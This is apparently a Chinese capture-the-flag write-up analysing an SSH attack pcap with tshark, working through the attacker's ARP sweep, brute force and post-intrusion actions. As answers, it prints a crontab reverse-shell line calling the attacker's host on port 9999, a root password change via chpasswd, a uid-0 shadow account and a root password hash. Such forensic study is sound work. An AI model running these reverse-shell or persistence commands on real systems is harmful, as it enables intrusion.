第一届好靶场MISC-SSH流量分析

SSH流量分析

概念

SSH（Secure Shell，安全外壳协议） 是一种加密的网络传输协议。它的主要作用是在不安全的网络（如互联网）中，为两台计算机之间提供安全的通信环境。

在日常的开发和运维中，SSH 最常被用于远程登录和管理服务器。它默认使用 22 端口。

核心功能

远程命令行控制： 允许你通过本地终端直接操作远程服务器的命令行。它替代了早期明文传输的 Telnet 协议，防止你敲击的命令和返回结果在网络中被窃听。

• 安全文件传输： 基于 SSH 衍生的 SFTP 和 SCP 协议，可以让你在本地和远程主机之间安全、加密地传输文件。
• 端口转发与隧道（Tunneling）： 可以将本地端口的流量经过加密隧道转发到远程服务器，常用于安全访问内网服务或加密特定的应用流量。

SSH 是如何保证安全的？

SSH 的安全性建立在三种密码学技术的结合上：

第一届好靶场流量分析-SSH

Q1.攻击者的 IP 地址是什么？

ssh的默认端口是22

利用tshark语法可以发现是192.168.11.129

tshark -r hbcb01_ssh.pcap \
    -Y "ip.dst == 192.168.11.96 and tcp.dstport == 22 and tcp.flags.syn == 1" \
    -T fields -e ip.src | sort | uniq -c

小小的解释

tshark使用

tshark 就是 命令行版本的 Wireshark，能按规则抓包 / 分析 .pcap 文件。

基础格式：

  tshark -r <pcap文件> -Y "<过滤器>" -T fields -e <字段1> -e <字段2>

过滤器怎么写

tshark 的过滤器语法 和 Wireshark 顶部的过滤框完全一样：

关键技巧：

• tcp.flags.syn == 1 and tcp.flags.ack == 0 → 纯粹的 SYN 包（握手请求），没有 ACK
• tcp.flags.syn == 1 and tcp.flags.ack == 1 → SYN-ACK（服务端的应答）

命令拆解

  tshark -r hbcb01_ssh.pcap -Y "ip.dst == 192.168.11.96 and tcp.dstport == 22 and tcp.flags.syn == 1" -T fields -e ip.src | sort | uniq -c

这是转换后的表格：

flag{192.168.11.129}

Q2:受害服务器的攻击IP地址是什么？

怎么确定谁是「受害者」？

判断标准有 4 个，符合越多越确定：

攻击者相反：主动打别人 + 主动发 ARP + 收反弹 shell（监听别人连过来）。

tshark -r hbcb01_ssh.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1 and tcp.srcport == 22" -T fields -e ip.src | sort | uniq -c 

flag{192.168.11.96}

Q3:攻击者对目标网段进行了存活主机探测，请写出扫描的网段。

存活主机探测是个啥

SSH 爆破前，攻击者得先知道网段里哪些 IP 在——这一步叫存活探测（host discovery / ping sweep）

ARP 帧数远大于 ICMP → 用的是 ARP 扫描

ARP 广播信息

ARP（Address Resolution Protocol，地址解析协议） 是计算机网络中非常基础且核心的一个协议。它的主要作用是：将已知的 IP 地址（网络层逻辑地址）翻译成对应的 MAC 地址（数据链路层物理地址）

tshark -r hbcb01_ssh.pcap -Y "arp.opcode == 1 and arp.src.proto_ipv4 ==
  192.168.11.129" -T fields -e arp.dst.proto_ipv4 | sort -V -u

流量中出现的 IP 地址范围主要集中在 192.168.11.1 至 192.168.11.254 的可用主机地址，并包含了 .255 广播地址。根据 IPv4 寻址规则，这属于一个标准的 C 类子网，即 192.168.11.0/24 网段

你说129消失了？那是攻击者自己的呀笨蛋(●´ω｀●)ゞ，他肯定忽略自己的ip

flag{192.168.11.0/24}

Q4:攻击者存活主机探测使用了什么协议？共发现多少台存活主机？

提示格式：协议-存活主机数量（例如 ICMP-3）

协议就是arp广播嘛

存活数量

tshark -r hbcb01_ssh.pcap -Y "arp.opcode == 2 and arp.dst.proto_ipv4 == 192.168.11.129" -T fields -e arp.src.proto_ipv4 | sort -u

你是不是以为是5捏？别忘记了这个题问的是"共发现多少台存活主机"

自己也算在这个段里边喔，所以是6个主机

flag{ARP-6}

Q5: 受害服务器开放了哪些端口

请输入开放端口（从小到大，用逗号分隔）

怎么判断"端口开着"

三次握手判断法

所以最稳的判定是：受害者回了 SYN-ACK，那个端口就开着。

1. 扫描时不光看 SHH——攻击者也会扫其他端口（HTTP/HTTPS 等）
2. 不能只看受害者响应 SYN-ACK——还要排除假阳性（比如幸存重传包）
3. 记得按从小到大排序，用英文逗号分隔

tshark -r hbcb01_ssh.pcap -Y "ip.src == 192.168.11.96 and tcp.flags.syn == 1
  and tcp.flags.ack == 1" -T fields -e tcp.srcport | sort -un

解释 tcp.srcport

之前学过：srcport 是"发包用的端口"。受害者 .96 在 22 端口回话 → srcport 就是被扫的那个端口。

flag{22，80，443}

Q6:攻击者用的 SSH 爆破工具

攻击者使用了什么工具进行 SSH 暴力破解？（写出工具名称和 SSH 客户端标识） 提示格式：工具-SSH客户端标识

SSH 爆破工具

SSH 的"客户端标识"是客户端第一次连服务端时说的第一句话，形如：

  SSH-2.0-OpenSSH_8.9p1                  ← 普通 ssh 命令
  SSH-2.0-libssh_0.11.3                  ← 一些工具用 libssh
  库（hydra/ncrack/medusa 等）
  SSH-2.0-AHhhhh                         ← 工具自己定义的口号

格式：

SSH-2.0-<关键字>-<版本>

tshark -r hbcb01_ssh.pcap -Y "ssh" -T fields -e ssh.protocol | sort | uniq -c | sort -rn

ssh.protocol 抓住所有ssh协议里的那一行文本

libssh 是一套 C 语言的 SSH 库，很多工具内部用它来连 SSH——它们不需要走完整 ssh 命令行流程

也就是说攻击者使用libssh爆破了

指纹识别

我们在 pcap 里观察到：20 个独立的 libssh TCP 流（每个流都失败后重开）。这个模式既符合 Hydra，也符合任何"一密码一连接"的脚本。

那么"最严谨的回答"应该是什么？

攻击者使用了一个 基于 libssh 0.11.3 的 SSH 客户端，对受害机的 22 端口发起高频单密码短连接式爆破。最常见的归因是 Hydra，但仅凭 banner 与流量模式无法 100% 排除自写脚本。

那 CTF 的标准答案里写 Hydra 是为什么？

因为：

1. 约定俗成 — Hydra 是 SSH 爆破教学/取证题最经典工具，作者默认归因它；
2. 结合题面 — 题目 22 题整体在描述"应急响应"，作者构造的就是"标准教科书剧本"；
3. 不需要更强的证据 — 因为题目只要求"工具名和 SSH客户端标识"，没要求"取证意义上的不可否认证明"。

取证真正的金标准

如果你做真实事件响应，单凭 pcap 推断工具，结论必须用"概率性 + 限定条件"措辞，而不是"这就是 X"。只有：

• 取到了攻击者主机硬盘（找到 Hydra 二进制 + wordlist）
• 或攻击者留了明显特征（Hydra 默认日志格式、错误消息特征）
• 或 SOC/IDS 已经告警并捕获了完整 process tree

——才能盖章"就是 Hydra"。

技能点 2（取证严谨性）：CTF 答案 = 出题意图；真实结论 = 概率性 + 限定条件。同样的指纹在 CTF 里是 Hydra，在真实 IR 报告里要写"工具未知但具有 libssh 爆破特征"。

所以现在回到方法论

我们两种方式都能用：

1. CTF 取分思路：套常见工具即可（Hydra / ncrack / Medusa），接受题目默认归因。
2. 真实 IR 思路：写"基于 libssh 的 SSH 客户端，单密码短连接"。

如果你接受 CTF 取分，就答 Hydra-SSH-2.0-libssh_0.11.3。 如果你想 真实报告写法，可以只写 SSH-2.0-libssh_0.11.3 + 描述流量行为。

flag{Hydra-SSH-2.0-libssh_0.11.3}

Q7:受害服务器的 SSH 服务版本是什么？

tshark -r hbcb01_ssh.pcap -Y "ssh && ip.src == 192.168.11.96" -T fields -e ssh.protocol | sort -u

SSH 服务版本 banner

  ┌─────────────────────────────────────┐
  │ 应用层 banner  ← 你要查的版本字符串     │   ← 第一个包就是它
  ├─────────────────────────────────────┤
  │ 协商层：KEXINIT（密钥交换初始化）       │
  ├─────────────────────────────────────┤
  │ 算法层：实际的密钥交换数据              │
  └─────────────────────────────────────┘

服务端 banner 是不变的

同一个服务（同一台 SSH 服务器），不管多少客户端连它，服务端 banner 永远相同。所以你只看到一种 banner 是正常的。

这个 banner 在 pcap 里存哪？

Wireshark 把 banner 解析进字段 ssh.protocol。tshark 命令行就直接用 ssh.protocol 当字段名。

它是个字符串字段，不是数字。要显示得用 -T fields -e ssh.protocol。

其实在Q6我们就已经找到了还记得吗？

SSH-2.0-OpenSSH_10.0p2 Ubuntu-5ubuntu5.4就是受害者的服务版本

flag{SSH-2.0-OpenSSH_10.0p2 Ubuntu-5ubuntu5.4}

Q8:暴力破解阶段，攻击者使用 libssh 客户端标识发起了多少次 SSH 认证连接？

SSH 一旦完成握手，应用层就全加密了。 banner是唯一一个能在不破解加密的情况下看到"软件身份"的机会。

所以这题就需要研究banner跳出的信息次数

  每个 SSH 连接                     每个 SSH 连接

  packet 1  Client banner ────┐    packet 1  Client banner ────┐
  packet 2  Server banner ────┤    packet 2  Server banner ────┤
  packet 3  KEXINIT ──────────┤    packet 3  KEXINIT ──────────┤
  packet 4  KEX reply ────────┤    packet 4  KEX reply ────────┤
  packet 5  NEWKEYS           │    packet 5  NEWKEYS           │
  packet 6  ← 加密开始         │    packet 6  ← 加密开始          │
  packet 7  USERAUTH (加密) ──┘    packet 7  USERAUTH (加密) -──┘

  Sanjiu's wordlist[密码1] failed.   Sanjiu's wordlist[密码2] failed.

    ↑ 这一整段你都看不到用户名密码

关键观察：

• 攻击者使用 Hydra 这种"每连接只猜一次密码"的工具时，每个 TCP 连接恰好只有一个 banner，且只对应一次密码尝试
• banner 是第一条应用层信息——出现一次 = 一次 SSH 连接的起点
• 所以"数 banner 出现次数"可以等价于"数独立的 SSH 协议尝试数"

TCP 三次握手（Three-Way Handshake）

    Client                              Server
      | ------ SYN (seq=x) -------------->|   ← 第 1 次：客户端请求建立连接
      | <----- SYN+ACK (seq=y, ack=x+1) - |   ← 第 2 次：服务器同意并回复
      | ------ ACK (seq=x+1, ack=y+1) --> |   ← 第 3 次：客户端确认，连接建立

三次握手的目的是 同步双方初始序列号(ISN) 并 协商连接参数（MSS、窗口大小等）。它和 Q8 的关系就是：每次 SSH 暴力破解尝试，底层都先要打一次 TCP 三次握手。

SSH分层结构

SSH连接顺序

1. TCP 三次握手（网络层面的连通） --明文
   客户端和服务器建立底层的 TCP 连接（通常是目标端口 22）。此时还没有任何 SSH 协议的数据交互。
2. 版本号协商 / Banner Exchange（明文传输）
   双方互发支持的 SSH 版本号和软件信息（例如 SSH-2.0-OpenSSH_8.9p1，或者类似于 libssh 的标识）。在协议分析（如使用 tshark 提取 ssh.protocol 时），抓取的就是这个阶段的明文字段。
3. 算法协商 / Algorithm Negotiation（SSH_MSG_KEXINIT）--明文
   双方互发 KEXINIT 报文，明文交换各自支持的加密算法列表（包括密钥交换算法、主机公钥算法、对称加密算法、MAC 算法等），并基于双方列表“向下兼容”选定一组共同支持的算法。
4. 密钥交换 / Key Exchange（Diffie-Hellman 等）--明文
   使用选定的 KEX 算法（如 ECDH）生成共享的主密钥。服务器会将其主机公钥发送给客户端，客户端验证该公钥（防止中间人攻击）。双方发送 SSH_MSG_NEWKEYS，宣告后续通信将使用新生成的会话密钥进行对称加密。至此之后，所有数据包全部为密文。
5. 用户认证 / User Authentication（加密隧道内执行）--加密
   客户端发送认证凭据（如 password 或 publickey）。服务器验证并返回 SSH_MSG_USERAUTH_SUCCESS 或 FAILURE。在类似 Hydra 的密码爆破场景中，如果采用一连接多密码模式，这里会循环出现认证请求包。
6. 通道建立与会话 / Connection & Session（多路复用）--加密
   认证通过后，客户端请求打开一个逻辑会话通道 (SSH_MSG_CHANNEL_OPEN)，并请求具体的服务（例如请求打开一个伪终端 pty-req，或者请求一个 shell）。随后开始双向的加密业务数据传输。
7. 连接断开 / Teardown（优雅或强制关闭）--加密
   双方发送 SSH_MSG_CHANNEL_CLOSE 关闭逻辑通道，最后发送 SSH_MSG_DISCONNECT，并通过 TCP 挥手 (FIN/ACK) 或直接 RST 断开底层连接。

统计banner发送

这 20 个流每个都成功展示了 libssh banner，说明攻击者完成了完整的 SSH 协议握手准备，进入 USERAUTH（认证）环节，然后失败重开。每个流 = 一次 Hydra 密码尝试。

在wireshark里边输入

ssh && ip.src == 192.168.11.129 && ip.dst == 192.168.11.96

找出SSH-2.0-libssh_0.11.3信息（因为攻击者使用libssh进行爆破连接）

数一下就可以发现是20

flag{20}

Q9:攻击者成功登录的用户名

SSH是加密的，直接追踪TCP流是没什么有效的信息，那咱就从别的地方找吧。

攻击者成功登录之后，会执行命令。执行命令就会从服务器上留下痕迹，这些痕迹就可能出现在出现在返回的明文数据里边，后续建立连接的非加密连接里边

反弹shell

这题的关键就是这个

关键区别：

怎么在流量中找到反弹的shell呢？

看连接方向：

反弹shell就是服务器主动连接，也就是ip.src == 192.168.11.96 && ip.dst == 192.168.11.129

上题我们知道攻击者手动最后一次ssh是在No.5762，说明这时候的ssh就是成功连接的ssh

往下观察发现在No.5807出现shell的关键字样，追钟tcp流就能发现

sanjiu@sanjiu-VMware-Virtual-Platform

flag{sanjiu}

Q10:攻击者进入反弹shell后执行的第一条指令是什么？

可以看到Q9其实是拿到shell了，不过你以为第一条的命令是echo “root:rootoot”|sudo -S chpasswd咩？

一般我们拿到shell，我们根本不知道当前用户是谁，然后权限怎么样。

攻击者刚拿到 shell 时两眼一抹黑，连自己是谁都不知道，第一步一般会做什么？

HACKED

肯定是先敲 whoami 查权限，看看当前用户能干嘛、需不需要横向提权扩大危害。

也就是说，咱们看到的最后一次 SSH 连接，未必是最初的反弹 shell 入口？

HACKED

没错。既然已知攻击者的反弹端口是 4444，想找源头，直接去搜受害者第一次主动连接 4444 端口的流量包就行了。

tshark -r hbcb01_ssh.pcap -Y "ip.src == 192.168.11.96 && ip.dst == 192.168.11.129 && tcp.dstport == 4444" -T fields -e frame.number -e tcp.stream -e tcp.srcport | sort -n | head -5

对NO.5031可以观察到出现了whoami

python3 - C这个的含义是升级shell终端的操作,并不是属于在shell中的指令。只是将普通的shell提升到交互式shell

flag{whoami}

Q12:受害者的主机名字是什么？

这题就是Q9获取的信息，在linux中是 用户名@主机名

flag{sanjiu-VMware-Virtual-Platform}

Q13:攻击者手动登录使用的SSH客户端标识是什么？

Q7解释过了不再赘述了哈

flag{SSH-2.0-OpenSSH_10.2p1 Debian-3}

Q14:反弹shell使用的端口号是什么？

Q9分析可以知道反弹shell的129的端口是4444

flag{4444}

Q15:反弹shell的连接方式是什么？

格式：受害者的ip-->攻击者IP:端口

192.168.11.96-->192.168.11.129:4444

Q16:攻击者将root密码修改为什么了？

我们在第一次反弹shell里边可以发现攻击者进行了sudo passwd root指令

echo "root:sanjiu@@@123" | chpasswd

chpasswd：这是一个用于批量更新用户密码的系统命令。它会从标准输入（这里就是管道传过来的内容）读取 用户名:密码 格式的数据，并在后台自动更新系统的密码文件

flag{sanjiu@@@123}

Q17:攻击者创建的影子账户名和UID是什么？

格式:用户名-UID

第二次反弹shell中发现，useradd指令

观察发现是sanJiu ,id = 0

flag{sanJiu-0}

Q18:攻击者写入的Crontab后面完整内容是什么?

crontab（cron table 的缩写）是 Linux 和 Unix 操作系统中用于设置周期性自动执行任务的配置文件。

你可以把它理解为系统的“定时任务清单”或“高级闹钟”。系统后台运行着一个叫 cron 的守护进程，它每分钟都会醒来一次，检查 crontab 文件中的任务列表，如果时间匹配，就会自动在后台执行对应的命令或脚本。

bash -i >& /dev/tcp/...：这是典型的 Linux 反弹 Shell（Reverse Shell）命令。

\*/10 \* \* \* \*：时间规则。*/10 写在第一列（分钟），意思是每隔 10 分钟执行一次。后面的四个 * 代表每一个小时、每一天、每一个月、每一个星期。

flag{*/10 * * * * root bash -i >& /dev/tcp/192.168.11.129/9999 0>&1}

Q19:攻击者Crontab后面的回连端口是什么？

这题就是Q18的答案。端口就是9999

flag{9999}

Q20:攻击者在受害机上创建的隐藏后门脚本完整路劲是什么？

flag{/tmp/.backdoor.sh}

Q21:攻击者写入SSH公钥后面的公钥文件完整路劲是什么？

flag{/root/.ssh/authorized_keys}

Q22:受害者/etc/shadow文件中的root用户名的密码哈希值是什么？

在linux中，密码都是不显示明文的，要不然就是hash值或者不显示

flag{$y$j9T$HAiWkWk/MXH2ZeZDj9uXl1$jr4kDa9qVoVGC9kJb2U7tK7nHRcWQA/VdB60oMl8d6C}